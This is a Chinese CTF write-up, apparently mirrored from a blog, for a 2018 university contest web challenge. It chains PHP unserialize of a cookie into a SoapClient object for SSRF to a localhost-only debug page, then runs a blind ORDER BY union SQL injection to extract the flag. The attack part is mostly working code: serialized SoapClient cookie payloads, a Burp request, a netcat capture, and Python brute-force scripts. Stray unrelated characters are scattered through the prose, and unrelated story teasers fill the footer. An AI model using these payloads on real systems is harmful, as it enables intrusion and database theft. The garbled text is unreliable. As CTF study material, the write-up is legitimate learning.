soap導(dǎo)致的SSRF

這是從暨南大學(xué)2018校賽的一道CTF題學(xué)習(xí)到的姿勢

適用條件:服務(wù)器開了soap服務(wù)呛占,允許soap數(shù)據(jù)的交互,并且有可控的點(diǎn)調(diào)用了反序列化疹味,此時(shí)可以強(qiáng)行反序列化去調(diào)用soapclient類進(jìn)行SSRF

以題目為例

phpinfo可以看出開了soap帜篇,實(shí)際滲透測試可以盲測,假設(shè)開啟洪灯,并看到有反序列化特征的參數(shù)竟痰,可以直接盲測


image.png

這道題還給了index.php和sqldebug.php的部分源碼
index.php

<?php

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(-1);

class Auth {
    public $username = '';
    public $login = 0;

    public function verify() {
        return 'FALSE';
    }
}

?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h1>Login</h1>
<form action="" method="POST">
    <table>
        <tr>
            <td>Username</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>Password</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>Remember me <input type="checkbox" name="rememberme"></td>
            <td><input type="submit" value="Submit"></td>
        </tr>
    </table>
</form>
<p>
<?php

if (isset($_POST['username'])) {
    $auth = new Auth();
    $auth->username = $_POST['username'];
    setcookie('auth', base64_encode(serialize($auth)));
} elseif (isset($_COOKIE['auth'])) {
    $auth = unserialize(base64_decode($_COOKIE['auth']));
}

if (isset($auth)) {
    echo $auth->verify();
}

?>
</p>
</body>
</html>

sqldebug.php

<?php
include_once('db.php');

if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
    die('you need to be 127.0.0.1');
}

$uid = isset($_GET['uid']) ? $_GET['uid'] : 1;
if (preg_match('/information_schema|database|sleep|benchmark|select(\/\*|[\(`\x00-\x20])/i', $uid)) {
    die('NONONO!');
}

$db = mysqli_connect('127.0.0.1', 'demo', MYSQL_PASSWORD, DB_NAME);

$sql = "SELECT * FROM `".TABLE_NAME."` WHERE `".COLUMN_ID."`='$uid'";

$result = $db->query($sql);
$result = $result->fetch_assoc();
echo $result[COLUMN_USERNAME];

mysqli_close($db);
?>

從源碼可以看到sqldebug過濾不嚴(yán)铅檩,可以注入
但是$_SERVER['REMOTE_ADDR'] !== '127.0.0.1'無法繞過昧旨,只能SSRF
又看到index.php中$auth = unserialize(base64_decode($_COOKIE['auth']));可控
那么我們可以強(qiáng)行調(diào)用php中的soapclient類祥得,來進(jìn)行SSRF

soapclient的調(diào)用可以參考文章
https://xz.aliyun.com/t/2148
對(duì)soap數(shù)據(jù)格式的理解可以用參考
https://www.cnblogs.com/JeffreySun/archive/2009/12/14/1623766.html
https://www.anquanke.com/post/id/153065
php關(guān)于soapclient的參考文檔
http://www.php.net/manual/zh/soapclient.soapclient.php
kali安裝soap擴(kuò)展啃沪,kali默認(rèn)php7

apt-get install php-soap
php -m | grep soap

因?yàn)轭}目環(huán)境是php5.6,那就kali安裝下php5.6

apt-get install apt-transport-https
curl https://packages.sury.org/php/apt.gpg | apt-key add
echo 'deb https://packages.sury.org/php/ stretch main' > /etc/apt/sources.list.d/deb.sury.org.list
apt-get update
apt-get -y install php5.6 libapache2-mod-php5.6 php5.6-mysql php5.6-curl php5.6-gd php5.6-intl php-pear php-imagick php5.6-imap php5.6-mcrypt php-memcache php5.6-pspell php5.6-recode php5.6-sqlite3 php5.6-tidy php5.6-xmlrpc php5.6-xsl php5.6-mbstring php-gettext
apt-get -y install php5.6-soap
php5.6 -m | grep soap

先彈到自己vps缰雇,看看soapclient類是否能正常調(diào)用
soap.php

<?php
// $location = "http://127.0.0.1:80/sqldebug.php";
$location = 'http://178.128.15.64:2333/';
$a = new SoapClient(null, array('location' => $location ,'uri'  => '123'));

echo serialize($a);
echo "\n";
echo "\n";
$auth=  base64_encode(serialize($a));
echo $auth;
echo "\n";
echo "\n";
?>

運(yùn)行soap.php

$ php5.6 soap.php

O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:26:"http://178.128.15.64:2333/";s:13:"_soap_version";i:1;}

TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30=

burp的post報(bào)文

POST /index.php HTTP/1.1
Host: 35.221.144.41:8084
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://35.221.144.41:8084/index.php
Cookie: auth=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MzoiMTIzIjtzOjg6ImxvY2F0aW9uIjtzOjI2OiJodHRwOi8vMTc4LjEyOC4xNS42NDoyMzMzLyI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO30%3D
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0


vps收到的報(bào)文

root@ubuntu16:~# nc -lvvv 2333
Listening on [0.0.0.0] (family 0, port 2333)
Connection from [35.221.144.41] port 2333 [tcp/*] accepted (family 2, sport 38292)
POST / HTTP/1.1
Host: 178.128.15.64:2333
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.6.37
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#verify"
Content-Length: 369

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="123" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:verify/></SOAP-ENV:Body></SOAP-ENV:Envelope>

soapclient類成功被調(diào)用疏之,成功訪問到vps暇咆,然后會(huì)因?yàn)閟oapclient類沒有verify()方法而導(dǎo)致報(bào)錯(cuò),會(huì)默認(rèn)調(diào)用call方法其骄,但是已經(jīng)不影響我們調(diào)用soapclient來進(jìn)行SSRF


image.png
image.png

這里可惜的點(diǎn)是拯爽,soapclient默認(rèn)是用post钧忽,然后在xml中以xml格式來傳遞post參數(shù),但是我們在SSRF的時(shí)候桃煎,除非知道服務(wù)器wsdl的模板位置以及模板內(nèi)容大刊,才可以去構(gòu)造post參數(shù),不然一般只能在$location處對(duì)GET參數(shù)進(jìn)行注入等攻擊

 $location = "http://127.0.0.1:80/sqldebug.php?uid=1'%23

注意這里的端口是80曲尸,而不是8084男翰,因?yàn)槭莇ocker映射的

注入部分就不細(xì)講了蛾绎,直接給出腳本

先判斷列數(shù),如果union select的列數(shù)不對(duì)租冠,index.php請求就會(huì)Internal Server Error

columns.py

#!/usr/bin/env python3
import requests
import base64
from urllib.parse import quote

url = "http://35.221.144.41:8084/index.php"

tpl = ["1"]

while True:
    done = False
    ssrfurl = "http://127.0.0.1/sqldebug.php?uid=1'and+0+union+select@a:=" + ','.join(
        tpl) + "%23"
    serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
        len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
    auth = quote(base64.b64encode(serial.encode()))
    resp = requests.get(url, cookies={'auth': auth})
    print(len(tpl))
    if 'Internal Server Error' not in resp.text:
        # print(resp.text)
        break
    tpl += ["1"]

一共有5列

注入得到flag顽爹,exp.py

#!/usr/bin/env python3
import requests
import binascii
import base64
from urllib.parse import quote
import sys

url = "http://35.221.144.41:8084/index.php"

for pos in [0, 2, 3, 4]:
    tpl = ['0', "'<aaa></aaa>'", '0', '0', '0']
    r = []
    done = False
    while not done and len(r) <= 40:
        for c in range(0x19, 0x7F):
            hexstr = bytes(r + [c])
            tpl[pos] = '0x' + binascii.hexlify(hexstr).decode()
            ssrfurl = "http://127.0.0.1/sqldebug.php?uid=" + sys.argv[1] + "'union+select@a:=" + ','.join(
                tpl) + "+order+by+" + str(pos + 1) + "%23"
            # print(ssrfurl)
            serial = 'O:10:"SoapClient":3:{s:3:"uri";s:3:"abc";s:8:"location";s:' + str(
                len(ssrfurl)) + ':"' + ssrfurl + '";s:13:"_soap_version";i:1;}'
            auth = quote(base64.b64encode(serial.encode()))
            resp = requests.get(url, cookies={'auth': auth})
            if 'got no XML document' in resp.text:
                if 0x19 == c:
                    done = True
                else:
                    r += [c - 1]
                break
        print(pos+1, bytes(r))
image.png
image.png

通過測試捏题,uid=2對(duì)應(yīng)的幾個(gè)列分別是

COLUMN_ID = '2'(第1列)
COLUMN_xxx = ''(第2列,為空)
COLUMN_xxx = '99' (第3列)
COLUMN_PASSWORD = 'FLAG{UN10N_S313CT_0RD3R_13Y}'(第4列)
COLUMN_USERNAME = 'ADMIN@DEMO.COM'(第5列)

order by 注入的原理可以看我這篇文章
http://www.reibang.com/p/83d07d5c3af8

大致原理是select出一個(gè)字符串带射,再去order by 一個(gè)字段
由于后端只會(huì)顯示第一列循狰,所以數(shù)據(jù)庫會(huì)按照這兩個(gè)字符串的大小來排序
至于排序的規(guī)則是從左到右逐位比較ascii碼的大小,所以可以從左到右逐位遍歷灿里,最終得到該字段的值

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x2f,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x30,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x31,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x32,'<aaa></aaa>',0,0,0+order+by+1%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0x33,'<aaa></aaa>',0,0,0+order+by+1%23
1 b'2'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3937,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3938,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x3939,0,0+order+by+3%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0x393a,0,0+order+by+3%23
3 b'99'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304c,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304d,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304e,0+order+by+4%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0x464c41477b554e31304f,0+order+by+4%23
4 b'FLAG{UN10N'

http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444b+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444c+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444d+order+by+5%23
http://127.0.0.1/sqldebug.php?uid=2'union+select@a:=0,'<aaa></aaa>',0,0,0x41444e+order+by+5%23
5 b'ADM'

最后深大信安協(xié)會(huì)的師弟師妹們,給暨大友情測試了一波跪楞,tql
歡迎外校的師傅們多交流~

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末甸祭,一起剝皮案震驚了整個(gè)濱河市褥影,隨后出現(xiàn)的幾起案子凡怎,更是在濱河造成了極大的恐慌,老刑警劉巖统倒,帶你破解...
    沈念sama閱讀 216,402評(píng)論 6 499
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件房匆,死亡現(xiàn)場離奇詭異,居然都是意外死亡井氢,警方通過查閱死者的電腦和手機(jī)岳链,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,377評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來约急,“玉大人,你說我怎么就攤上這事遍烦√烧恚” “怎么了?”我有些...
    開封第一講書人閱讀 162,483評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵罢猪,是天一觀的道長叉瘩。 經(jīng)常有香客問我,道長危彩,這世上最難降的妖魔是什么泳桦? 我笑而不...
    開封第一講書人閱讀 58,165評(píng)論 1 292
  • 正文 為了忘掉前任灸撰,我火速辦了婚禮,結(jié)果婚禮上浮毯,老公的妹妹穿的比我還像新娘债蓝。我一直安慰自己,他們只是感情好惦蚊,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,176評(píng)論 6 388
  • 文/花漫 我一把揭開白布蹦锋。 她就那樣靜靜地躺著,像睡著了一般莉掂。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上库正,一...
    開封第一講書人閱讀 51,146評(píng)論 1 297
  • 那天褥符,我揣著相機(jī)與錄音,去河邊找鬼趟大。 笑死铣焊,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的曲伊。 我是一名探鬼主播坟募,決...
    沈念sama閱讀 40,032評(píng)論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼灭美!你這毒婦竟也來了昂利?” 一聲冷哼從身側(cè)響起铁坎,我...
    開封第一講書人閱讀 38,896評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤硬萍,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后朴乖,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體买羞,經(jīng)...
    沈念sama閱讀 45,311評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,536評(píng)論 2 332
  • 正文 我和宋清朗相戀三年期丰,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片街立。...
    茶點(diǎn)故事閱讀 39,696評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡赎离,死狀恐怖端辱,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情掠手,我是刑警寧澤,帶...
    沈念sama閱讀 35,413評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站做祝,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏编兄。R本人自食惡果不足惜声登,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,008評(píng)論 3 325
  • 文/蒙蒙 一狠鸳、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧悯嗓,春花似錦件舵、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至合武,卻和暖如春临梗,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背稼跳。 一陣腳步聲響...
    開封第一講書人閱讀 32,815評(píng)論 1 269
  • 我被黑心中介騙來泰國打工盟庞, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人茫经。 一個(gè)月前我還...
    沈念sama閱讀 47,698評(píng)論 2 368
  • 正文 我出身青樓巷波,卻偏偏與公主長得像,于是被迫代替她去往敵國和親卸伞。 傳聞我的和親對(duì)象是個(gè)殘疾皇子抹镊,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,592評(píng)論 2 353